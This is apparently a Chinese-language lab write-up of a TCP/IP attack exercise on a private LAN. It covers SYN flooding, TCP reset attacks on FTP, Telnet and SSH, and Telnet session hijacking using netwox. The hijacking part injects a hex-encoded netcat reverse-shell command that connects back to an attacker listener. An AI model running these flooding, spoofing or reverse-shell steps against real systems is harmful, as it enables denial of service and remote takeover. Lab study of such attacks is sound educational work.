TCP-IP攻擊
概述
1. SYN-Flooding攻擊效果,受害者系統(tǒng)卡死.
2. TCP-RST攻擊實(shí)現(xiàn)已經(jīng)建立的TCP連接斷開.
3. TCP會(huì)話劫持,劫持TCP會(huì)話,并實(shí)現(xiàn)反向Shell.
實(shí)驗(yàn)環(huán)境
1. 三臺(tái)Linux系統(tǒng)主機(jī),一臺(tái)作為攻擊者,一臺(tái)作為受害者,一臺(tái)作為觀察者.
2. 為了簡化TCP序列號(hào)和源端口號(hào)的“猜測”,實(shí)驗(yàn)處于同一局域網(wǎng)內(nèi),你可以使用嗅探器來獲取受害者信息.
SYN-Flooding攻擊
1. SYN-Flooding攻擊原理
SYN-Flooding是DoS攻擊的一種,攻擊者向受害者的TCP端口發(fā)送很多SYN請求,但攻擊者無意完成三次握手過程.
攻擊者要么使用欺騙性的假的IP地址,要么不要繼續(xù)完成整個(gè)三次握手過程.
通過這種攻擊,攻擊者可以淹沒用于半連接的受害者隊(duì)列,即已完成SYN,SYN-ACK但尚未得到最終ACK的連接.
當(dāng)這個(gè)隊(duì)列已滿時(shí),受害者不能再進(jìn)行任何連接.
正常三次握手過程:
client --- service
SYN -->
<-- SYN-ACK
ACK --->
在Linux中,我們可以使用以下命令檢查
命令:#sysctl -q net.ipv4.tcp_max_syn_backlog
root@gt:/home/git/Keep-learning/mySeedLab# sysctl -q net.ipv4.tcp_max_syn_backlog
net.ipv4.tcp_max_syn_backlog = 512
我們可以使用命令“netstat -na”來檢查隊(duì)列的使用情況,即與監(jiān)聽端口相關(guān)聯(lián)的半連接的數(shù)量.
這種半連接的狀態(tài)是SYN-RECV。如果三次握手完成,則連接的狀態(tài)將為ESTABLISHED.
在這個(gè)任務(wù)中,你需要演示SYN-Flooding攻擊:
您可以使用Netwox來執(zhí)行攻擊,然后使用嗅探器捕獲攻擊性數(shù)據(jù)包.
在攻擊發(fā)生時(shí),在受害機(jī)器上運(yùn)行“netstat -na”命令,并將結(jié)果與攻擊前的結(jié)果進(jìn)行比較.
2. Netwox 76簡介
標(biāo)題:Synflood
用法:netwox 76 -i ip -p port [-s spoofip]
參數(shù):
-i | --dst-ip ip 目標(biāo)IP地址
-p | --dst-port port 目標(biāo)端口號(hào)
-s | --spoofip spoofip IP欺騙初始化類型
3. SYN Cookie防御機(jī)制
如果你的攻擊看起來不成功,你可以檢查是否啟用了SYN cookie機(jī)制.
SYN cookie是抵抗SYN-Flooding的防御機(jī)制.
防御原理簡介:
在TCP服務(wù)器收到TCP SYN包并返回TCP SYN+ACK包時(shí),不分配一個(gè)專門的數(shù)據(jù)區(qū),
而是根據(jù)這個(gè)SYN包計(jì)算出一個(gè)cookie值.
在收到TCP ACK包時(shí),TCP服務(wù)器在根據(jù)那個(gè)cookie值檢查這個(gè)TCP ACK包的合法性.
如果合法,再分配專門的數(shù)據(jù)區(qū)進(jìn)行處理未來的TCP連接.
你可以使用sysctl命令打開/關(guān)閉SYN cookie機(jī)制:
#sysctl -a | grep cookie(顯示SYN cookie標(biāo)志)
#sysctl -w net.ipv4.tcp_syncookies = 0(關(guān)閉SYN cookie)
#sysctl -w net.ipv4.tcp_syncookies = 1(打開SYN cookie)
4. 實(shí)驗(yàn)結(jié)果分析
攻擊者:192.168.59.1
受害者:192.168.59.144
攻擊者終端對受害者進(jìn)行SYN-Flooding打擊:
# netwox 76 -i 192.168.59.144 -p 80
實(shí)驗(yàn)現(xiàn)象:受害者系統(tǒng)出現(xiàn)卡死狀態(tài).
比較netstat -na
前后狀態(tài)如下:
產(chǎn)生大量的TCP半連接,阻塞了隊(duì)列,導(dǎo)致后續(xù)正常TCP連接無法建立!!
[04/17/2018 16:41] seed@ubuntu:~$ diff 1.txt 2.txt
5a6,261
> tcp 0 0 192.168.59.144:80 253.138.146.184:9358 SYN_RECV
> tcp 0 0 192.168.59.144:80 246.55.107.172:50273 SYN_RECV
> tcp 0 0 192.168.59.144:80 196.23.102.181:5583 SYN_RECV
> tcp 0 0 192.168.59.144:80 242.22.15.17:45979 SYN_RECV
> tcp 0 0 192.168.59.144:80 246.166.91.206:61644 SYN_RECV
> tcp 0 0 192.168.59.144:80 249.212.122.218:23424 SYN_RECV
> tcp 0 0 192.168.59.144:80 251.32.218.10:56419 SYN_RECV
> tcp 0 0 192.168.59.144:80 248.235.192.194:41439 SYN_RECV
> tcp 0 0 192.168.59.144:80 241.118.133.147:19187 SYN_RECV
> tcp 0 0 192.168.59.144:80 242.23.168.166:21253 SYN_RECV
> tcp 0 0 192.168.59.144:80 247.207.89.108:45839 SYN_RECV
> ...........................................................................
TCP-RST攻擊
1. FTP協(xié)議
# service vsftpd start
2. TELNET協(xié)議
# /etc/init.d/openbsd-inetd start
3. SSH協(xié)議
# /etc/init.d/ssh start
4. Newox 78簡介
標(biāo)題:重置每個(gè)TCP數(shù)據(jù)包
用法:netwox 78 [-d device] [-f filter] [-s spoofip]
參數(shù):
-d | --device device名稱{Eth0}
-f | --filter filter pcap過濾器
-s | --spoofip spoofip IP欺騙初始化類型{linkbraw}
5. 實(shí)驗(yàn)結(jié)果分析
-** FTP**
FTP服務(wù)器地址:192.168.59.146/24
FTP客戶端地址:192.168.59.144/24
攻擊者地址:192.168.59.1/24
攻擊者終端對受害者進(jìn)行TCP-RST打擊:
# netwox 78 -d vmnet8
結(jié)果顯示:已經(jīng)建立的TCP連接斷開.
[04/17/2018 23:28] seed@ubuntu:~$ ftp 192.168.59.146
Connected to 192.168.59.146.
220 (vsFTPd 3.0.3)
Name (192.168.59.146:seed): gu
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 2 1000 1000 4096 Apr 16 16:32 Desktop
drwxr-xr-x 2 1000 1000 4096 Apr 16 16:32 Documents
drwxr-xr-x 2 1000 1000 4096 Apr 16 16:32 Downloads
drwxr-xr-x 2 1000 1000 4096 Apr 16 16:32 Music
drwxr-xr-x 2 1000 1000 4096 Apr 16 16:32 Pictures
drwxr-xr-x 2 1000 1000 4096 Apr 16 16:32 Public
drwxr-xr-x 2 1000 1000 4096 Apr 16 16:32 Templates
drwxr-xr-x 2 1000 1000 4096 Apr 16 16:32 Videos
226 Directory send OK.
ftp>
ftp> ls
421 Service not available, remote server has closed connection
ftp>
- Telnet
Telnet服務(wù)器地址:192.168.59.146/24
Telnet客戶端地址:192.168.59.144/24
攻擊者地址:192.168.59.1/24
攻擊者終端對受害者進(jìn)行TCP-RST打擊:
# netwox 78 -d vmnet8
結(jié)果顯示:已經(jīng)建立的TCP連接斷開.
[04/17/2018 23:36] seed@ubuntu:~$ telnet 192.168.59.146
Trying 192.168.59.146...
telnet: Unable to connect to remote host: Connection refused
[04/17/2018 23:36] seed@ubuntu:~$ telnet 192.168.59.146
Trying 192.168.59.146...
Connected to 192.168.59.146.
Escape character is '^]'.
Ubuntu 16.04.4 LTS
ubuntu login: gu
Password:
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic i686)
gu@ubuntu:~$
gu@ubuntu:~$ ls
Desktop Downloads Music Public Videos
Documents examples.desktop Pictures Templates
gu@ubuntu:~$
gu@ubuntu:~$ Connection closed by foreign host.
[04/18/2018 00:28] seed@ubuntu:~$
- SSH
SSH服務(wù)器地址:192.168.59.146/24
SSH客戶端地址:192.168.59.144/24
攻擊者地址:192.168.59.1/24
攻擊者終端對受害者進(jìn)行TCP-RST打擊:
# netwox 78 -d vmnet8
結(jié)果顯示:已經(jīng)建立的TCP連接斷開.
[04/18/2018 00:40] seed@ubuntu:~$ ssh gu@192.168.59.146
gu@192.168.59.146's password:
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic i686)
Last login: Wed Apr 18 00:27:06 2018 from 192.168.59.144
gu@ubuntu:~$ ls
Desktop Downloads Music Public Videos
Documents examples.desktop Pictures Templates
gu@ubuntu:~$
gu@ubuntu:~$
gu@ubuntu:~$ Write failed: Broken pipe
[04/18/2018 00:41] seed@ubuntu:~$
TCP會(huì)話劫持
1. 會(huì)話劫持簡介
TCP會(huì)話劫持攻擊的目標(biāo)是通過向該會(huì)話中注入惡意內(nèi)容來劫持兩名受害者之間的現(xiàn)有TCP連接(會(huì)話).
如果這個(gè)連接是一個(gè)telnet會(huì)話,攻擊者可以在這個(gè)會(huì)話中注入惡意命令(例如刪除重要文件),導(dǎo)致受害者執(zhí)行惡意命令.
2. Wireshark簡介
如果您使用Wireshark觀察網(wǎng)絡(luò)流量,當(dāng)Wireshark顯示TCP序列號(hào)時(shí),
默認(rèn)情況下會(huì)顯示相對序列號(hào),它等于實(shí)際序列號(hào)減去初始序列號(hào).
如果想查看包中的實(shí)際序列號(hào),則需要右鍵單擊Wireshark輸出的TCP部分,
然后選擇"Protocol Preference". 在彈出窗口中,取消選"Relative Sequence Number"選項(xiàng).
3. Netwox 40簡介
標(biāo)題: Spoof Ip4Tcp packet
用法: netwox 40 [-l ip] [-m ip] [-o port] [-p port] [-q uint32] [-B]
參數(shù):
-c|--ip4-tos uint32 IP4 tos {0}
-e|--ip4-id uint32 IP4 id (rand if unset) {0}
-f|--ip4-reserved|+f|--no-ip4-reserved IP4 reserved
-g|--ip4-dontfrag|+g|--no-ip4-dontfrag IP4 dontfrag
-h|--ip4-morefrag|+h|--no-ip4-morefrag IP4 morefrag
-i|--ip4-offsetfrag uint32 IP4 offsetfrag {0}
-j|--ip4-ttl uint32 IP4 ttl {0}
-k|--ip4-protocol uint32 IP4 protocol {0}
-l|--ip4-src ip IP4 src {172.16.27.1}
-m|--ip4-dst ip IP4 dst {5.6.7.8}
-n|--ip4-opt ip4opts IPv4 options
-o|--tcp-src port TCP src {1234}
-p|--tcp-dst port TCP dst {80}
-q|--tcp-seqnum uint32 TCP seqnum (rand if unset) {0}
-r|--tcp-acknum uint32 TCP acknum {0}
-s|--tcp-reserved1|+s|--no-tcp-reserved1 TCP reserved1
-t|--tcp-reserved2|+t|--no-tcp-reserved2 TCP reserved2
-u|--tcp-reserved3|+u|--no-tcp-reserved3 TCP reserved3
-v|--tcp-reserved4|+v|--no-tcp-reserved4 TCP reserved4
-w|--tcp-cwr|+w|--no-tcp-cwr TCP cwr
-x|--tcp-ece|+x|--no-tcp-ece TCP ece
-y|--tcp-urg|+y|--no-tcp-urg TCP urg
-z|--tcp-ack|+z|--no-tcp-ack TCP ack
-A|--tcp-psh|+A|--no-tcp-psh TCP psh
-B|--tcp-rst|+B|--no-tcp-rst TCP rst
-C|--tcp-syn|+C|--no-tcp-syn TCP syn
-D|--tcp-fin|+D|--no-tcp-fin TCP fin
-E|--tcp-window uint32 TCP window {0}
-F|--tcp-urgptr uint32 TCP urgptr {0}
-G|--tcp-opt tcpopts TCP options
-H|--tcp-data mixed_data mixed data
4. 實(shí)驗(yàn)結(jié)果分析
Telnet服務(wù)器地址:192.168.59.148/24
Telnet客戶端地址:192.168.59.146/24
攻擊者地址:192.168.59.1/24
攻擊者終端對受害者進(jìn)行TCP會(huì)話劫持:
我們要偽造發(fā)下一個(gè)包:
所以直接采用nextseq作為下一個(gè)包的ack,采用ack作為下一個(gè)包的seq.
最后一個(gè)Telnet數(shù)據(jù)包內(nèi)容如下:
我們偽造向服務(wù)器192.168.59.148
發(fā)送ls
命令,
將`ls`轉(zhuǎn)換成16進(jìn)制并加上`\r`的16進(jìn)制數(shù)得到6c730d00,
通過netwox構(gòu)造我們的攻擊指令如下:
netwox 40 --ip4-offsetfrag 0 --ip4-ttl 64 --ip4-protocol 6 --ip4-src 192.168.59.146 --ip4-dst 192.168.59.148 --tcp-src 46088 --tcp-dst 23 --tcp-seqnum 1362571669 --tcp-acknum 644316190 --tcp-ack --tcp-psh --tcp-window 128 --tcp-data "6c730d00"
在wireshark上顯示抓包數(shù)據(jù)如下:
我們成功的發(fā)送了ls !!!
我們成功的獲取到了服務(wù)器發(fā)送的數(shù)據(jù) !!!
來創(chuàng)建我們的肉雞~
現(xiàn)在我們來通過NC反彈一個(gè)Shell,來控制我們受害者:
首先是構(gòu)造NC命令:
攻擊者:nc -lp 10010 -vvv
受害者:nc 192.168.59.1 10010 -c /bin/sh
創(chuàng)建NC攻擊語句:
netwox 40 --ip4-offsetfrag 0 --ip4-ttl 64 --ip4-protocol 6 --ip4-src 192.168.59.146 --ip4-dst 192.168.59.148 --tcp-src 46098 --tcp-dst 23 --tcp-seqnum 1600031421 --tcp-acknum 830921755 --tcp-ack --tcp-psh --tcp-window 128 --tcp-data "6e63203139322e3136382e35392e31203130303130202d63202f62696e2f73680d00"
實(shí)驗(yàn)結(jié)果如圖:
首先看結(jié)果:我們成功拿到了服務(wù)器上的用戶gu的所有權(quán)限!
咱們再來看看抓包數(shù)據(jù),通過抓包數(shù)據(jù),你可以看到最后一條Telnet的TCP數(shù)據(jù),通過這些數(shù)據(jù),就可以很方便通過Netwox構(gòu)造攻擊語句了!!